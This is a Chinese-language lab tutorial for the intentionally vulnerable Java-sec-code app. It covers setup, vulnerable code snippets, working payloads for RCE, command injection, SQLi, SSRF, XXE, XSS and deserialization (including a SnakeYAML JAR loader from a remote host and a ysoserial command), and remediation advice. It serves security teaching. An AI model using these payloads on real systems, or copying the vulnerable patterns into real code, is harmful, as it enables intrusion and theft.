Java-sec-code-master 靶场练习
字数 5055 2025-10-26 18:21:34
Java-sec-code-master 靶场实战教学文档
一、 靶场环境搭建
1.1 环境要求
- IDE: IntelliJ IDEA
- 构建工具: Apache Maven 3.9.1+
- Web服务器: Apache Tomcat 9.0.x
- Java环境: JDK 1.8
- 数据库: MySQL 5.7.26+
1.2 部署步骤
-
获取源码:
git clone https://github.com/JoyChou93/java-sec-code.git -
数据库配置:
- 启动MySQL数据库(例如使用phpStudy、XAMPP等集成环境中的MySQL)。
- 创建数据库,并导入项目中的SQL文件(通常为
sql/目录下的.sql文件)。 - 修改项目配置文件
src/main/resources/application.properties,更新数据库连接信息(URL、用户名、密码)。
-
项目配置与启动:
- 使用IDEA打开项目。
- 在
application.properties中可修改服务器端口(默认8080,若冲突可改为8081):server.port=8081。 - 执行Maven命令
mvn clean install下载依赖并编译项目。 - 运行主类
Application.java。 - 访问
http://127.0.0.1:8081,出现界面即表示搭建成功。
-
Windows环境特殊调整:
由于原作者环境为Linux,部分命令执行漏洞需调整以适应Windows。- 修改
CommandInject.java:// 将Linux命令 String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath}; // 改为Windows命令 String[] cmdList = new String[]{"cmd.exe", "/c", "dir " + filepath}; - 修改前端页面
index.html,将示例POC路径从Linux格式(/etc/passwd)改为Windows格式(如D:/test.txt)。
- 修改
二、 漏洞复现详解
本部分将按漏洞类型逐一讲解。
2.1 远程代码执行(RCE)
漏洞点1:Rce.java - /runtime/exec
- 原理:直接使用
Runtime.getRuntime().exec(cmd)执行用户传入的参数,未做任何过滤。 - 漏洞代码:
@GetMapping("/runtime/exec") public String CommandExec(String cmd) { Runtime run = Runtime.getRuntime(); Process p = run.exec(cmd); // 危险!直接执行用户输入 // ... 读取命令输出 } - 复现:
访问http://127.0.0.1:8081/rce/runtime/exec?cmd=calc.exe(Windows计算器)或cmd=whoami。
漏洞点2:Rce.java - /jscmd
- 原理:使用Nashorn JavaScript引擎,通过
load()函数加载并执行远程JS脚本。 - 漏洞代码:
@GetMapping("/jscmd") public void jsEngine(String jsurl) throws Exception { ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); String cmd = String.format("load(\"%s\")", jsurl); engine.eval(cmd, bindings); // 加载并执行远程JS } - 复现:
- 编写恶意JS文件
zz.js:var Runtime = Java.type("java.lang.Runtime"); Runtime.getRuntime().exec("calc.exe"); - 在JS文件所在目录启动HTTP服务:
python -m http.server 8000。 - 访问
http://127.0.0.1:8081/rce/jscmd?jsurl=http://localhost:8000/zz.js。
- 编写恶意JS文件
漏洞点3:Rce.java - /vuln/yarm (SnakeYAML反序列化)
- 原理:使用SnakeYAML的
new Yaml()默认构造器解析YAML内容,该构造器允许实例化任意Java类,导致反序列化RCE。 - 漏洞代码:
@GetMapping("/vuln/yarm") public void yarm(String content) { Yaml y = new Yaml(); // 默认不安全 y.load(content); // 触发反序列化 } - 复现:
- 准备恶意JAR:使用
yaml-payload项目,编译生成包含恶意构造器的JAR包。 - 启动HTTP服务托管该JAR。
- 使用YSOSERIAL或构造特定YAML Payload(利用
ScriptEngineManager和URLClassLoader):
(注意URL编码)http://127.0.0.1:8081/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://your-ip:8000/yaml-payload.jar"]]]]
- 准备恶意JAR:使用
漏洞点4:Rce.java - /groovy
- 原理:使用
GroovyShell.evaluate(content)直接执行用户输入的Groovy代码。 - 复现:
访问http://127.0.0.1:8081/rce/groovy?content="calc".execute()。
2.2 命令注入(Command Injection)
漏洞点:CommandInject.java - /codeinject
- 原理:将用户输入的
filepath直接拼接到dir命令中,未过滤命令分隔符。 - 漏洞代码:
@GetMapping("/codeinject") public String codeInject(String filepath) throws IOException { String[] cmdList = new String[]{"cmd.exe", "/c", "dir " + filepath}; // 拼接漏洞 ProcessBuilder builder = new ProcessBuilder(cmdList); // ... 执行命令 } - 复现:
利用&、|等符号拼接新命令,需要URL编码。http://127.0.0.1:8081/codeinject?filepath=.%26calc.exe(URL编码后&为%26)http://127.0.0.1:8081/codeinject?filepath=.%26ipconfig
2.3 SQL注入(SQL Injection)
漏洞点1:Sqli.java - /jdbc/vuln
- 原理:直接拼接用户输入
username到SQL语句中。 - 漏洞代码:
String sql = "select * from users where username = '" + username + "'"; - 复现:
http://127.0.0.1:8081/sqli/jdbc/vuln?username=joychou' OR '1'='1
漏洞点2:Sqli.java - /mybatis/vuln01 (MyBatis)
- 原理:在MyBatis的
@Select注解中使用${username}进行拼接(而非安全的#{})。 - 漏洞代码:
@Select("select * from users where username = '${username}'") List<User> findByUserNameVuln01(@Param("username") String username); - 复现:
http://127.0.0.1:8081/sqli/mybatis/vuln01?username=admin' OR '1'='1
漏洞点3:Sqli.java - /mybatis/orderby/vuln03 (MyBatis Order By注入)
- 原理:
ORDER BY后不能使用预编译占位符#{},只能使用${}拼接,导致注入。 - 漏洞代码 (XML配置):
<select id="findByUserNameVuln03" parameterType="String" resultMap="User"> select * from users <if test="order != null"> order by ${order} asc <!-- 危险! --> </if> </select> - 复现:
http://127.0.0.1:8081/sqli/mybatis/orderby/vuln03?sort=id desc--+
2.4 服务器端请求伪造(SSRF)
漏洞点:SSRF.java - /urlConnection/vuln
- 原理:使用
URLConnection请求用户传入的url,未对协议和目标地址进行白名单校验。 - 漏洞代码:
@GetMapping(value = "/urlConnection/vuln") public String URLConnectionVuln(String url) { return HttpUtils.URLConnection(url); // 内部直接 new URL(url).openConnection() } - 复现:
- 读取本地文件:
http://127.0.0.1:8081/ssrf/urlConnection/vuln?url=file:///D:/test.txt - 探测内网服务:
http://127.0.0.1:8081/ssrf/urlConnection/vuln?url=http://192.168.1.1:8080
- 读取本地文件:
2.5 XML外部实体注入(XXE)
漏洞点1:XXE.java - /xmlReader/vuln
- 原理:使用SAX解析器
XMLReader解析XML时,未禁用外部实体。 - 漏洞代码:
XMLReader xmlReader = XMLReaderFactory.createXMLReader(); xmlReader.parse(new InputSource(new StringReader(body))); // 未配置安全特性 - 复现:
发送POST请求至/xxe/xmlReader/vuln,Body为恶意XML:
(使用Burp Suite或Postman等工具发送)<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]> <root> <name>&xxe;</name> </root>
漏洞点2:XXE.java - /SAXBuilder/vuln (JDOM)
- 原理:JDOM的
SAXBuilder默认也未禁用外部实体。 - 复现:方式同上。
2.6 跨站脚本(XSS)
漏洞点1:XSS.java - /reflect
- 原理:将用户输入直接返回给浏览器,未做转义。
- 复现:
http://127.0.0.1:8081/xss/reflect?xss=<script>alert(1)</script>
漏洞点2:XSS.java - /stored/store & /stored/show (存储型XSS)
- 原理:将用户输入存入Cookie,再从Cookie中读出并返回。
- 复现:
- 访问
http://127.0.0.1:8081/xss/stored/store?xss=<script>alert(1)</script>将Payload存入Cookie。 - 访问
http://127.0.0.1:8081/xss/stored/show触发XSS。
- 访问
2.7 反序列化漏洞
漏洞点1:Deserialize.java - /rememberMe/vuln
- 原理:对Base64解码后的Cookie值直接进行Java原生反序列化。
- 漏洞代码:
String rememberMe = cookie.getValue(); byte[] decoded = Base64.getDecoder().decode(rememberMe); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(decoded)); in.readObject(); // 触发反序列化 - 复现:
- 使用YSOSERIAL生成恶意序列化数据(如CommonsCollections5 gadget):
java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.bin - 将
payload.bin内容进行Base64编码。 - 将编码后的字符串作为
rememberMeCookie的值,发送请求至/deserialize/rememberMe/vuln。
- 使用YSOSERIAL生成恶意序列化数据(如CommonsCollections5 gadget):
漏洞点2:Shiro.java - /shiro/deserialize (Apache Shiro)
- 原理:Shiro的RememberMe功能使用AES加密后的序列化数据。如果使用默认密钥且版本存在漏洞,攻击者可伪造Cookie触发反序列化。
- 复现:利用Shiro-550/721等公开漏洞利用工具或脚本。
2.8 其他重要漏洞
- 路径遍历(Path Traversal):
PathTraversal.java,通过../等序列读取系统任意文件。 - 日志注入(Log4j):
Log4j.java,在受影响版本中,用户输入token中的${jndi:ldap://...}会被解析执行。 - 服务器端模板注入(SSTI):
SSTI.java,Velocity引擎中直接执行用户输入的模板内容。 - 跨域资源共享(CORS)配置不当:
Cors.java,将请求头Origin直接反射到Access-Control-Allow-Origin,导致任意源可跨域访问。 - HTTP响应头截断(CRLF):
CRLFInjection.java,用户输入未过滤\r\n,可注入任意HTTP响应头。
三、 漏洞修复方案总结
-
RCE/命令注入:
- 避免直接执行用户输入。如需执行命令,应使用白名单严格控制参数。
- 对用户输入进行严格过滤(如正则表达式
^[a-zA-Z0-9_/\.-]+$)。
-
SQL注入:
- 永远不要使用字符串拼接。
- 使用预编译语句(PreparedStatement) 和参数化查询(
?占位符)。 - 在MyBatis中,优先使用
#{},避免使用${}。如必须使用${}(如Order By),需自行实现过滤或白名单。
-
SSRF:
- 建立URL白名单或黑名单。
- 校验协议(只允许HTTP/HTTPS)、目标IP(禁止内网地址)。
-
XXE:
- 在所有XML解析器中,显式禁用DTD和外部实体。
// 以SAXParser为例 SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
XSS:
- 对输出到HTML页面的数据进行HTML转义(如转义
<,>,&,",')。
- 对输出到HTML页面的数据进行HTML转义(如转义
-
反序列化:
- 避免反序列化不可信数据。
- 使用安全的反序列化库或方法,如使用
ObjectInputStream时重写ObjectInputStream.resolveClass()方法进行白名单校验。 - 升级存在漏洞的第三方库(如Commons-Collections, SnakeYAML, XStream, Shiro)。
-
配置安全:
- 确保框架、中间件(如Logback, Jolokia)的安全配置,避免不必要的接口暴露。
- 使用强密钥,避免使用默认密钥。
四、 工具使用
- YSOSERIAL:生成Java反序列化利用Payload的工具。
- Burp Suite:用于拦截、重放、修改HTTP请求,是复现Web漏洞的必备工具。
- DNSLog平台:用于检测无回显的漏洞(如XXE、SSRF、Log4j),接收DNS查询记录。
通过本教学文档的系统性学习和实践,您将能够深入理解Java Web应用中常见的安全漏洞成因、利用手法及有效的防御措施,显著提升代码安全审计和漏洞挖掘能力。